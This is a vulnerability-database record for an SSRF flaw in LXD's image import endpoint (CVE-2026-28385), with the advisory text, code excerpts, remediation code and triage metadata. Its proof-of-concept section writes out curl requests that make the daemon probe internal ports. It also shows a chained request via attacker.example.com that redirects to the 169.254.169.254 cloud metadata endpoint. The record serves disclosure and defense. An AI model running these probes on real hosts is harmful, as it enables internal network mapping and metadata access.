{"id":"CVE-2026-28385","kind":"vulnerability","aliases":["CVE-2026-28385","GHSA-3gq2-x4qg-p4g6"],"related":[],"title":"LXD: SSRF via image import from URL allows internal network probing by authenticated users","description":"## Summary\nThe LXD image import-from-URL endpoint (`POST /1.0/images` with `source.type=url`) makes server-side HTTP requests to an attacker-supplied URL without any private-IP or loopback blocking. An authenticated user with the `can_create_images` entitlement can force the LXD daemon to connect to internal network addresses (127.0.0.1, RFC1918 ranges, cloud metadata endpoints), enabling port scanning via error-based inference and interaction with internal HTTP services from the daemon's privileged network position.\n\n## Severity\n\n- **Attack Vector:** Network — LXD API is network-accessible.\n- **Attack Complexity:** Low — Single crafted API request with no special conditions.\n- **Privileges Required:** Low — Requires `can_create_images` entitlement, a non-admin permission commonly delegated to regular users.\n- **User Interaction:** None.\n- **Scope:** Changed — The attacker leverages LXD's privileged network position to probe and interact with internal services that are outside the attacker's direct network access and outside the scope of LXD's image management authorization.\n- **Confidentiality Impact:** Low — Error messages reveal internal port states (open/closed/filtered) and service availability. Response bodies from internal services are NOT returned to the attacker (hash validation blocks content exfiltration).\n- **Integrity Impact:** None — No demonstrated ability to modify data on internal services.\n- **Availability Impact:** None — No meaningful resource exhaustion or denial of service.\n\n## Affected Component\n- `lxd/images.go` — `imgPostURLInfo` (lines 668–755) — Makes HEAD request to user-supplied URL without any SSRF protections.\n- `lxd/util/http.go` — `HTTPClient` (lines 102–147) — Creates HTTP client with no IP blocking or URL validation.\n- `shared/network.go` — `RFC3493Dialer` (lines 20–49) — Dials arbitrary hosts including private/loopback ranges.\n- `lxd/daemon_images.go` — `ImageDownload` (lines 478–510, \"direct\" case) — Makes GET request to URL from attacker-controlled response header.\n\n## Description\n\n### Core vulnerability: no SSRF protections on server-side image fetching\n\nWhen a user imports an image from a URL, the `imgPostURLInfo` function makes an HTTP HEAD request directly to the user-supplied URL with zero validation:\n\n```go\n// lxd/images.go:668-703\nfunc imgPostURLInfo(ctx context.Context, s *state.State, req api.ImagesPost, ...) (*api.Image, error) {\n    if req.Source.URL == \"\" {\n        return nil, errors.New(\"Missing URL\")\n    }\n\n    myhttp, err := util.HTTPClient(\"\", s.Proxy)\n    // ...\n\n    // Resolve the image URL\n    head, err := http.NewRequest(\"HEAD\", req.Source.URL, nil)\n    // No URL validation, no scheme check, no IP range check\n    // ...\n\n    raw, err := myhttp.Do(head)  // Makes request to arbitrary destination\n```\n\nThe HTTP client is created via `util.HTTPClient` which uses `shared.RFC3493Dialer` — a standard dialer with zero private-IP filtering:\n\n```go\n// shared/network.go:20-49\nfunc RFC3493Dialer(context context.Context, network string, address string) (net.Conn, error) {\n    host, port, err := net.SplitHostPort(address)\n    // ...\n    addrs, err := net.LookupHost(host)\n    // ...\n    for _, a := range addrs {\n        c, err := net.DialTimeout(network, net.JoinHostPort(a, port), 10*time.Second)\n        // No check: IsLoopback? IsPrivate? IsLinkLocalUnicast?\n        // Connects to ANY resolved address including 127.0.0.1, 10.x.x.x, 169.254.169.254\n```\n\nThe HTTP client also follows redirects unconditionally:\n\n```go\n// lxd/util/http.go:139-144\nmyhttp.CheckRedirect = func(req *http.Request, via []*http.Request) error {\n    // Replicate the headers\n    req.Header = via[len(via)-1].Header\n    return nil  // Always follows redirects — no destination validation\n}\n```\n\n### No SSRF protections exist anywhere in the codebase\n\nAn exhaustive search for private-IP checks (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`), URL allowlists, or SSRF-specific protections found **zero results** in any HTTP client or outbound request path. The codebase has no SSRF defense infrastructure.\n\n### Chained SSRF via `LXD-Image-URL` response header\n\nAfter the HEAD request, the `LXD-Image-URL` response header is used as the target for a second HTTP GET request, creating a chained SSRF:\n\n```go\n// lxd/images.go:705-725\nhash := raw.Header.Get(\"LXD-Image-Hash\")  // Attacker controls this\nurl := raw.Header.Get(\"LXD-Image-URL\")    // Attacker controls this\n\ninfo, err := ImageDownload(ctx, s, op, &ImageDownloadArgs{\n    Server:   url,       // Attacker-controlled URL from response header\n    Protocol: \"direct\",  // Forces unprotected direct HTTP GET\n    Alias:    hash,      // Attacker-controlled hash\n    // ...\n})\n```\n\nIn `ImageDownload`, the \"direct\" case makes a GET to the attacker-controlled URL:\n\n```go\n// lxd/daemon_images.go:478-510\ncase \"direct\":\n    httpClient, err := util.HTTPClient(args.Certificate, s.Proxy)\n    // ...\n    req, err := http.NewRequest(http.MethodGet, args.Server, nil)  // args.Server = attacker URL\n    // ...\n    raw, doneCh, err := cancel.CancelableDownload(canceler, httpClient.Do, req)\n```\n\nThis means an attacker who controls the HEAD target can redirect the second GET request to any internal service. The response body is downloaded to disk but hash validation prevents the attacker from reading it:\n\n```go\n// lxd/daemon_images.go:541-544\nresult := hex.EncodeToString(sha256.Sum(nil))\nif result != fp {\n    return nil, fmt.Errorf(\"Hash mismatch for %q: %s != %s\", args.Server, result, fp)\n}\n```\n\n### Error observability enables port scanning\n\nErrors from the outbound request propagate back to the caller via the operation result:\n\n```go\n// lxd/operations/operations.go:612-614\nif op.err != nil {\n    retOp.Err = response.SmartError(op.err).String()\n}\n```\n\nThe error messages differ based on the target's state:\n- **Port open**: `\"Missing LXD-Image-Hash header\"` (HEAD succeeded, response had no expected headers)\n- **Port closed**: `\"connection refused\"` (connection rejected immediately)\n- **Port filtered/host unreachable**: `\"context deadline exceeded\"` / `\"no route to host\"` (timeout or routing error)\n\nThese differences allow systematic port scanning of internal networks from the LXD daemon's network position.\n\n### Execution chain\n\n1. Attacker sends `POST /1.0/images` with `{\"source\":{\"type\":\"url\",\"url\":\"http://127.0.0.1:6379/\"}}`\n2. `imagesPost` handler verifies `can_create_images` entitlement (line 1163)\n3. Background operation calls `imgPostURLInfo` (line 1361)\n4. `imgPostURLInfo` creates HTTP client via `util.HTTPClient` — no SSRF protections (line 675)\n5. HEAD request to `http://127.0.0.1:6379/` — no IP validation (line 700)\n6. `RFC3493Dialer` resolves `127.0.0.1` and dials it — no private-IP check (line 33)\n7. Error or response propagated back via operation (line 612-614 in operations.go)\n8. Attacker queries operation result via `GET /1.0/operations/{id}/wait` and reads the error message\n\nFor chained SSRF:\n1. Attacker points `source.url` to their own server\n2. Their server responds with `LXD-Image-Hash: <any>` and `LXD-Image-URL: http://169.254.169.254/latest/meta-data/`\n3. LXD makes GET to `http://169.254.169.254/...` (line 493 in daemon_images.go)\n4. Response body downloaded but hash validation prevents content exfiltration\n5. Error messages still reveal whether the internal service responded (200 vs error)\n\n## Proof of Concept\n\n```bash\n# Safe PoC: force daemon to connect to loopback port 1 (closed port).\n# Error message will confirm server-side request occurred.\nSOCK=/var/lib/lxd/unix.socket\n\n# Create the operation\nOP=$(curl -s --unix-socket \"$SOCK\" \\\n  -H 'Content-Type: application/json' \\\n  -X POST http://localhost/1.0/images \\\n  -d '{\"source\":{\"type\":\"url\",\"url\":\"http://127.0.0.1:1/\"}}' \\\n  | sed -n 's/.*\"operation\":\"\\([^\"]*\\)\".*/\\1/p')\n\n# Wait for result — expect \"connection refused\" confirming SSRF\ncurl -s --unix-socket \"$SOCK\" \"http://localhost${OP}/wait\"\n# Response will contain error with \"connection refused\" — confirms\n# the daemon made a server-side connection to 127.0.0.1:1\n\n# Port scanning: compare errors for open vs closed ports\n# Open port (e.g., LXD's own API on 8443):\ncurl -s --unix-socket \"$SOCK\" \\\n  -H 'Content-Type: application/json' \\\n  -X POST http://localhost/1.0/images \\\n  -d '{\"source\":{\"type\":\"url\",\"url\":\"https://127.0.0.1:8443/\"}}'\n# Expect: \"Missing LXD-Image-Hash header\" (connection succeeded, got HTTP response)\n\n# Closed port:\ncurl -s --unix-socket \"$SOCK\" \\\n  -H 'Content-Type: application/json' \\\n  -X POST http://localhost/1.0/images \\\n  -d '{\"source\":{\"type\":\"url\",\"url\":\"http://127.0.0.1:9999/\"}}'\n# Expect: \"connection refused\" (port not open)\n\n# Cloud metadata probe (chained SSRF):\n# Step 1: Set up attacker server that responds to HEAD with:\n#   LXD-Image-Hash: deadbeef\n#   LXD-Image-URL: http://169.254.169.254/latest/meta-data/\n# Step 2: Point LXD at attacker server:\ncurl -s --unix-socket \"$SOCK\" \\\n  -H 'Content-Type: application/json' \\\n  -X POST http://localhost/1.0/images \\\n  -d '{\"source\":{\"type\":\"url\",\"url\":\"http://attacker.example.com/ssrf\"}}'\n# LXD will make GET to http://169.254.169.254/latest/meta-data/\n```\n\n## Impact\n\n- **Internal network port scanning**: Authenticated users can systematically probe internal networks reachable from the LXD host, identifying open services via error-based inference.\n- **Cloud metadata access**: In cloud deployments (AWS, GCP, Azure), the daemon can be directed to connect to metadata endpoints (169.254.169.254), potentially triggering metadata interactions from the host's privileged network context.\n- **Internal service interaction**: The daemon makes real HTTP HEAD and GET requests to internal services, which could trigger side effects on services that process GET/HEAD requests.\n- **Network topology disclosure**: Error messages and timing differences reveal internal network structure, reachable hosts, and open ports.\n- **Chained SSRF amplification**: The `LXD-Image-URL` response header enables attackers to redirect the daemon's second HTTP GET request to any internal destination, doubling the attack surface.\n\n## Recommended Remediation\n\n### Option 1: Private-IP blocking in `RFC3493Dialer` (preferred — defense at lowest layer)\n\nAdd IP range validation in the shared dialer so ALL outbound HTTP requests from LXD are protected:\n\n```go\n// shared/network.go\nimport \"net/netip\"\n\n// isBlockedAddress returns true if the address is in a private, loopback,\n// or link-local range that should not be reachable via user-supplied URLs.\nfunc isBlockedAddress(ip string) bool {\n    addr, err := netip.ParseAddr(ip)\n    if err != nil {\n        return true // Block unparseable addresses\n    }\n    return addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast()\n}\n\n// RFC3493DialerNoSSRF is a variant of RFC3493Dialer that blocks connections\n// to private/loopback/link-local addresses.\nfunc RFC3493DialerNoSSRF(context context.Context, network string, address string) (net.Conn, error) {\n    host, port, err := net.SplitHostPort(address)\n    if err != nil {\n        return nil, err\n    }\n\n    addrs, err := net.LookupHost(host)\n    if err != nil {\n        return nil, err\n    }\n\n    var errs []error\n    for _, a := range addrs {\n        if isBlockedAddress(a) {\n            errs = append(errs, fmt.Errorf(\"connection to private/loopback address %s is not allowed\", a))\n            continue\n        }\n        c, err := net.DialTimeout(network, net.JoinHostPort(a, port), 10*time.Second)\n        if err != nil {\n            errs = append(errs, err)\n            continue\n        }\n        tc, ok := c.(*net.TCPConn)\n        if ok {\n            _ = tc.SetKeepAlive(true)\n            _ = tc.SetKeepAlivePeriod(3 * time.Second)\n        }\n        return c, nil\n    }\n\n    return nil, fmt.Errorf(\"%s: %s (%v)\", connectErrorPrefix, address, errs)\n}\n```\n\nThen use `RFC3493DialerNoSSRF` in `util.HTTPClient` when the caller is handling user-supplied URLs.\n\n### Option 2: URL validation in `imgPostURLInfo` (complementary)\n\nAdd scheme and destination validation at the handler level as defense-in-depth:\n\n```go\n// lxd/images.go — in imgPostURLInfo, before the HEAD request\nparsed, err := url.Parse(req.Source.URL)\nif err != nil {\n    return nil, fmt.Errorf(\"Invalid URL: %w\", err)\n}\n\nif parsed.Scheme != \"http\" && parsed.Scheme != \"https\" {\n    return nil, fmt.Errorf(\"Unsupported URL scheme %q: only http and https are allowed\", parsed.Scheme)\n}\n\n// Also validate the LXD-Image-URL from the response header before passing to ImageDownload\nurl := raw.Header.Get(\"LXD-Image-URL\")\nif url != \"\" {\n    parsedRedirect, err := url.Parse(url)\n    // Apply same scheme and IP validation\n}\n```\n\nBoth options should be applied together. Option 1 protects all HTTP clients at the network layer (including the chained SSRF). Option 2 provides clear error messages and catches issues before a connection is attempted.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).\n\n## Mitigation and additional fixes\n\nIn addition to the Image Registries feature in LXD 6.10 to resolve the main issue above we are also introducing a related change in LXD 6.8 to prevent the use of `pull` migration mode when migrating instances and volumes into restricted projects. In these circumstances one should use `push` or `relay` mode. \n\nThe documentation has also been updated to cover setting up an HTTP/HTTPS proxy in order to allow policy to be applied to control which remote image URLs can be used.\n\nhttps://canonical.com/lxd/docs/latest/howto/security_harden/#restrict-outbound-requests","summary":"LXD's image import-from-URL endpoint makes server-side requests to any user-supplied address, including loopback, private ranges and cloud metadata endpoints, without checks. An authenticated user with the image-creation permission can use the error messages to map open ports on internal networks reachable from the LXD host.","severity":"medium","cvss":5.0,"epss":0.00278,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20261005133302-c4a919f3f4e2"],"affected":"< 0.0.0-20261005133302-c4a919f3f4e2","ecosystem":"go"},{"name":"canonical lxd","fixed":[],"affected":">= 4.12, <= 6.9","ecosystem":"vendor"}],"ecosystems":["go","vendor"],"tags":["cwe-918","linux-containers","lxd","runtime","self-hosted"],"not_affected_if":["admin-only-image-creation"],"how_to_check":"- Check the installed LXD version against the `go:github.com/canonical/lxd` range in the advisory (affected before `0.0.0-20261005133302-c4a919f3f4e2`).\n- Find out which accounts hold the `can_create_images` entitlement; unknown whether the sources list a specific command for this.","fix":"- Upgrade LXD to `0.0.0-20261005133302-c4a919f3f4e2` or later, per the product ranges.","status":"open","published_at":"2026-06-26T17:16:32+00:00","first_seen_at":"2026-11-06T18:31:37+00:00","triaged_at":"2026-11-06T18:32:37+00:00","updated_at":"2026-11-06T18:44:09+00:00","category":"runtime","confidence":0.8,"triage":{"at":"2026-11-06T18:32:37Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade LXD to `0.0.0-20261005133302-c4a919f3f4e2` or later, per the product ranges.","reach":"network","title":"LXD: image import from URL lets authenticated users probe internal networks","impact":"low","summary":"LXD's image import-from-URL endpoint makes server-side requests to any user-supplied address, including loopback, private ranges and cloud metadata endpoints, without checks. An authenticated user with the image-creation permission can use the error messages to map open ports on internal networks reachable from the LXD host.","audience":"businesses","category":"runtime","nicknames":[],"who_cares":["lxd","linux-containers","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Internal ports and services are mapped; data is not returned to the attacker","analyst_note":"","how_to_check":"- Check the installed LXD version against the `go:github.com/canonical/lxd` range in the advisory (affected before `0.0.0-20261005133302-c4a919f3f4e2`).\n- Find out which accounts hold the `can_create_images` entitlement; unknown whether the sources list a specific command for this.","plain_action":"","needs_analyst":false,"not_affected_if":["admin-only-image-creation"],"who_is_affected":"Hosts running LXD where users hold the can_create_images entitlement, which the advisory calls a permission commonly delegated to regular users. The exposure is the LXD daemon's network position, so hosts on cloud networks with metadata endpoints are the most sensitive. Deployments where only admins can create images have a much smaller exposure.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.001218,"input_tokens":9171,"output_tokens":601,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-1':558C '-144':543C '-2026':16A,24A '-28385':17A,25A '-49':485C '-703':412C '-918':32B '/1.0/images':106C '/canonical/lxd':28A '10':516C,530C '102':329C '127.0.0.1':150C,529C '139':542C '147':330C '169.254.169.254':532C '20':344C,484C '3gq2':20A '478':355C '49':345C '510':356C '668':312C,411C '755':313C 'abil':289C 'access':186C,244C 'addr':501C,508C 'address':59B,149C,492C,500C,527C 'admin':209C 'affect':307C 'allow':8A 'allowlist':588C 'also':536C 'alway':562C 'anywher':572C 'api':182C,192C 'api.image':421C 'api.imagespost':420C 'arbitrari':347C,461C 'attack':119C,178C,187C,222C,240C,278C,366C 'attacker-control':365C 'attacker-suppli':118C 'authent':13A,71B,131C 'author':254C 'avail':267C,296C 'base':162C 'block':129C,281C,337C 'bodi':269C 'c':509C 'canonical':29A 'case':358C 'chang':220C 'check':69B,449C,453C,519C,583C 'client':333C,465C,535C 'cloud':65B,153C 'codebas':575C 'common':211C 'complex':188C 'compon':308C 'condit':197C 'confidenti':255C 'connect':145C,523C 'contain':35B 'content':282C 'context':488C 'context.context':416C,489C 'control':367C 'core':371C 'craft':191C 'creat':136C,203C,331C,467C 'creation':77B 'ctx':415C 'cve':15A,23A 'cwe':31B 'daemon':143C,172C 'data':292C 'deleg':212C 'demonstr':288C 'denial':304C 'descript':370C 'destin':462C,566C 'dial':346C 'dialer':475C 'direct':242C,357C,399C 'enabl':156C 'endpoint':48B,67B,104C,155C 'entitl':138C,205C 'err':431C,439C,455C,498C,502C,510C 'error':82B,161C,258C,422C,495C,550C 'error-bas':160C 'errors.new':427C 'exfiltr':283C 'exhaust':302C,577C 'exist':571C 'fetch':381C 'filter':481C 'follow':537C,563C 'forc':140C 'found':594C 'func':413C,486C,545C 'function':393C 'get':360C 'ghsa':19A 'ghsa-3gq2-x4qg-p4g6':18A 'github.com':27A 'github.com/canonical/lxd':26A 'go':409C,482C,540C 'h':599C 'hash':279C 'head':315C,397C,438C,441C,457C 'header':369C,553C,559C 'host':40B,95B,348C,496C,504C 'http':114C,168C,332C,396C,464C,534C 'http.newrequest':440C 'http.request':547C,549C 'httpclient':327C 'imag':4A,43B,76B,99C,137C,204C,252C,380C,387C,436C 'image-cr':75B 'imagedownload':353C 'imgposturlinfo':310C,392C,414C 'impact':256C,285C,297C 'import':5A,45B,101C,385C 'import-from-url':44B,100C 'includ':60B,349C,528C 'infer':163C 'integr':284C 'interact':165C,217C,232C 'intern':9A,89B,147C,167C,234C,261C,271C,294C 'ip':126C,336C,451C,480C,582C 'islinklocalunicast':522C,586C 'isloopback':520C,584C 'ispriv':521C,585C 'len':556C 'leverag':223C 'line':311C,328C,343C,354C 'linux':34B 'linux-contain':33B 'loopback':61B,128C 'low':189C,200C,257C 'lxd':1A,30A,36B,41B,94B,98C,142C,181C,224C,250C 'lxd/daemon_images.go':352C 'lxd/images.go':309C,410C 'lxd/util/http.go':326C,541C 'make':49B,110C,314C,359C,394C,458C 'manag':253C 'map':85B 'meaning':300C 'messag':83B,259C 'metadata':66B,154C 'miss':428C 'modifi':291C 'myhttp':430C 'myhttp.checkredirect':544C 'myhttp.do':456C 'net.conn':494C 'net.dialtimeout':511C 'net.joinhostport':513C 'net.lookuphost':503C 'net.splithostport':499C 'network':10A,90B,148C,175C,180C,185C,227C,243C,490C,512C 'network-access':184C 'nil':426C,443C,561C 'non':208C 'non-admin':207C 'none':218C,286C,298C 'open':86B 'open/closed/filtered':264C 'outsid':238C,246C 'p4g6':22A 'permiss':78B,210C 'port':87B,157C,262C,497C,515C 'posit':176C,228C 'post':105C 'privat':62B,125C,479C,581C 'private-ip':124C,478C,580C 'private/loopback':350C 'privileg':174C,198C,226C 'probe':11A,230C 'protect':325C,375C,570C,593C 'rang':63B,152C,351C,452C,507C 'raw':454C 'reachabl':91B 'redirect':538C,564C 'regular':214C 'replic':551C 'req':419C,546C 'req.header':554C 'req.source.url':424C,442C 'request':53B,115C,193C,316C,361C,398C,459C 'requir':199C,201C 'resolv':434C,526C 'resourc':301C 'respons':268C,368C 'result':596C 'return':275C,425C,560C 'reveal':260C 'rfc1918':151C 'rfc3493dialer':342C,487C 'runtim':37B 's.proxy':433C 'scan':158C 'scheme':448C 'scope':219C,248C 'search':578C 'self':39B 'self-host':38B 'server':51B,112C,378C 'server-sid':50B,111C,377C 'servic':169C,235C,266C,272C,295C,306C 'sever':177C 'shared.rfc3493dialer':472C 'shared/network.go':341C,483C 'side':52B,113C,379C 'singl':190C 'source.type':108C 'special':196C 'specif':592C 'ssrf':2A,324C,374C,569C,591C 'ssrf-specif':590C 'standard':474C 'state':263C 'state.state':418C 'string':491C,493C 'summari':96C 'suppli':58B,120C,320C,404C 'time.second':517C 'uncondit':539C 'url':7A,47B,103C,109C,121C,321C,339C,363C,390C,405C,429C,437C,445C,587C 'use':80B,471C 'user':14A,57B,72B,132C,215C,216C,319C,384C,403C 'user-suppli':56B,318C,402C 'util.httpclient':432C,469C 'valid':280C,340C,408C,446C,567C 'vector':179C 'via':3A,159C,468C,548C,555C,557C 'vulner':372C 'without':68B,122C,322C 'x.x.x':531C 'x4qg':21A 'zero':407C,477C,595C","nicknames":[],"mitigations":[],"who_affected":"Hosts running LXD where users hold the can_create_images entitlement, which the advisory calls a permission commonly delegated to regular users. The exposure is the LXD daemon's network position, so hosts on cloud networks with metadata endpoints are the most sensitive. Deployments where only admins can create images have a much smaller exposure.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["canonicallxd","githubcomcanonicallxd","lxd"],"ptokens":["canonical","com","github","lxd"],"labels":["cwe918","go","linuxcontainers","lxd","medium","runtime","selfhosted","vendor"],"campaign_type":null,"search_a":"'-2026':16A,24A '-28385':17A,25A '/canonical/lxd':28A '3gq2':20A 'allow':8A 'authent':13A 'canonical':29A 'cve':15A,23A 'ghsa':19A 'ghsa-3gq2-x4qg-p4g6':18A 'github.com':27A 'github.com/canonical/lxd':26A 'imag':4A 'import':5A 'intern':9A 'lxd':1A,30A 'network':10A 'p4g6':22A 'probe':11A 'ssrf':2A 'url':7A 'user':14A 'via':3A 'x4qg':21A","search_b":"'-918':32B 'address':59B 'authent':71B 'check':69B 'cloud':65B 'contain':35B 'creation':77B 'cwe':31B 'endpoint':48B,67B 'error':82B 'host':40B,95B 'imag':43B,76B 'image-cr':75B 'import':45B 'import-from-url':44B 'includ':60B 'intern':89B 'linux':34B 'linux-contain':33B 'loopback':61B 'lxd':36B,41B,94B 'make':49B 'map':85B 'messag':83B 'metadata':66B 'network':90B 'open':86B 'permiss':78B 'port':87B 'privat':62B 'rang':63B 'reachabl':91B 'request':53B 'runtim':37B 'self':39B 'self-host':38B 'server':51B 'server-sid':50B 'side':52B 'suppli':58B 'url':47B 'use':80B 'user':57B,72B 'user-suppli':56B 'without':68B","search_c":"'-1':558C '-144':543C '-49':485C '-703':412C '/1.0/images':106C '10':516C,530C '102':329C '127.0.0.1':150C,529C '139':542C '147':330C '169.254.169.254':532C '20':344C,484C '478':355C '49':345C '510':356C '668':312C,411C '755':313C 'abil':289C 'access':186C,244C 'addr':501C,508C 'address':149C,492C,500C,527C 'admin':209C 'affect':307C 'allowlist':588C 'also':536C 'alway':562C 'anywher':572C 'api':182C,192C 'api.image':421C 'api.imagespost':420C 'arbitrari':347C,461C 'attack':119C,178C,187C,222C,240C,278C,366C 'attacker-control':365C 'attacker-suppli':118C 'authent':131C 'author':254C 'avail':267C,296C 'base':162C 'block':129C,281C,337C 'bodi':269C 'c':509C 'case':358C 'chang':220C 'check':449C,453C,519C,583C 'client':333C,465C,535C 'cloud':153C 'codebas':575C 'common':211C 'complex':188C 'compon':308C 'condit':197C 'confidenti':255C 'connect':145C,523C 'content':282C 'context':488C 'context.context':416C,489C 'control':367C 'core':371C 'craft':191C 'creat':136C,203C,331C,467C 'ctx':415C 'daemon':143C,172C 'data':292C 'deleg':212C 'demonstr':288C 'denial':304C 'descript':370C 'destin':462C,566C 'dial':346C 'dialer':475C 'direct':242C,357C,399C 'enabl':156C 'endpoint':104C,155C 'entitl':138C,205C 'err':431C,439C,455C,498C,502C,510C 'error':161C,258C,422C,495C,550C 'error-bas':160C 'errors.new':427C 'exfiltr':283C 'exhaust':302C,577C 'exist':571C 'fetch':381C 'filter':481C 'follow':537C,563C 'forc':140C 'found':594C 'func':413C,486C,545C 'function':393C 'get':360C 'go':409C,482C,540C 'h':599C 'hash':279C 'head':315C,397C,438C,441C,457C 'header':369C,553C,559C 'host':348C,496C,504C 'http':114C,168C,332C,396C,464C,534C 'http.newrequest':440C 'http.request':547C,549C 'httpclient':327C 'imag':99C,137C,204C,252C,380C,387C,436C 'imagedownload':353C 'imgposturlinfo':310C,392C,414C 'impact':256C,285C,297C 'import':101C,385C 'import-from-url':100C 'includ':349C,528C 'infer':163C 'integr':284C 'interact':165C,217C,232C 'intern':147C,167C,234C,261C,271C,294C 'ip':126C,336C,451C,480C,582C 'islinklocalunicast':522C,586C 'isloopback':520C,584C 'ispriv':521C,585C 'len':556C 'leverag':223C 'line':311C,328C,343C,354C 'loopback':128C 'low':189C,200C,257C 'lxd':98C,142C,181C,224C,250C 'lxd/daemon_images.go':352C 'lxd/images.go':309C,410C 'lxd/util/http.go':326C,541C 'make':110C,314C,359C,394C,458C 'manag':253C 'meaning':300C 'messag':259C 'metadata':154C 'miss':428C 'modifi':291C 'myhttp':430C 'myhttp.checkredirect':544C 'myhttp.do':456C 'net.conn':494C 'net.dialtimeout':511C 'net.joinhostport':513C 'net.lookuphost':503C 'net.splithostport':499C 'network':148C,175C,180C,185C,227C,243C,490C,512C 'network-access':184C 'nil':426C,443C,561C 'non':208C 'non-admin':207C 'none':218C,286C,298C 'open/closed/filtered':264C 'outsid':238C,246C 'permiss':210C 'port':157C,262C,497C,515C 'posit':176C,228C 'post':105C 'privat':125C,479C,581C 'private-ip':124C,478C,580C 'private/loopback':350C 'privileg':174C,198C,226C 'probe':230C 'protect':325C,375C,570C,593C 'rang':152C,351C,452C,507C 'raw':454C 'redirect':538C,564C 'regular':214C 'replic':551C 'req':419C,546C 'req.header':554C 'req.source.url':424C,442C 'request':115C,193C,316C,361C,398C,459C 'requir':199C,201C 'resolv':434C,526C 'resourc':301C 'respons':268C,368C 'result':596C 'return':275C,425C,560C 'reveal':260C 'rfc1918':151C 'rfc3493dialer':342C,487C 's.proxy':433C 'scan':158C 'scheme':448C 'scope':219C,248C 'search':578C 'server':112C,378C 'server-sid':111C,377C 'servic':169C,235C,266C,272C,295C,306C 'sever':177C 'shared.rfc3493dialer':472C 'shared/network.go':341C,483C 'side':113C,379C 'singl':190C 'source.type':108C 'special':196C 'specif':592C 'ssrf':324C,374C,569C,591C 'ssrf-specif':590C 'standard':474C 'state':263C 'state.state':418C 'string':491C,493C 'summari':96C 'suppli':120C,320C,404C 'time.second':517C 'uncondit':539C 'url':103C,109C,121C,321C,339C,363C,390C,405C,429C,437C,445C,587C 'use':471C 'user':132C,215C,216C,319C,384C,403C 'user-suppli':318C,402C 'util.httpclient':432C,469C 'valid':280C,340C,408C,446C,567C 'vector':179C 'via':159C,468C,548C,555C,557C 'vulner':372C 'without':122C,322C 'x.x.x':531C 'zero':407C,477C,595C","first_public_at":"2026-06-26T08:28:11+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-3gq2-x4qg-p4g6","url":"https://github.com/advisories/GHSA-3gq2-x4qg-p4g6","severity":"medium","published_at":"2026-11-06T18:29:18+00:00","modified_at":"2026-11-06T18:29:19+00:00","first_seen_at":"2026-11-06T18:31:37+00:00","fetched_at":"2026-11-06T18:40:07+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-28385","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28385","severity":null,"published_at":"2026-06-26T17:16:32+00:00","modified_at":"2026-10-25T17:10:00+00:00","first_seen_at":"2026-11-06T18:44:09+00:00","fetched_at":"2026-11-06T18:44:09+00:00","note":null}],"documents":[{"id":88638,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-3gq2-x4qg-p4g6","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":88639,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-3gq2-x4qg-p4g6","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-26T08:28:11+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":88640,"url":"https://github.com/canonical/lxd/pull/18210","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88641,"url":"https://github.com/canonical/lxd/pull/18462","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88642,"url":"https://github.com/canonical/lxd/commit/08996fa031eebc2bc2f8e27148c2ba24386c01d0","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88643,"url":"https://github.com/canonical/lxd/commit/4bbdb17ab67010446668e4b00a5175df5b6d55b4","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88644,"url":"https://github.com/canonical/lxd/commit/5976c92117b79d73437d7fab55e34cb80083edff","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88645,"url":"https://github.com/canonical/lxd/commit/886fcf5b7686bf59de78e239cec90a69e8fb9c65","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88646,"url":"https://github.com/canonical/lxd/commit/c4a919f3f4e21249d535d4030a33484313026111","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88647,"url":"https://github.com/canonical/lxd/releases/tag/lxd-6.9","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"exploit_sources":[{"type":"epss","score":0.00278,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28385"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}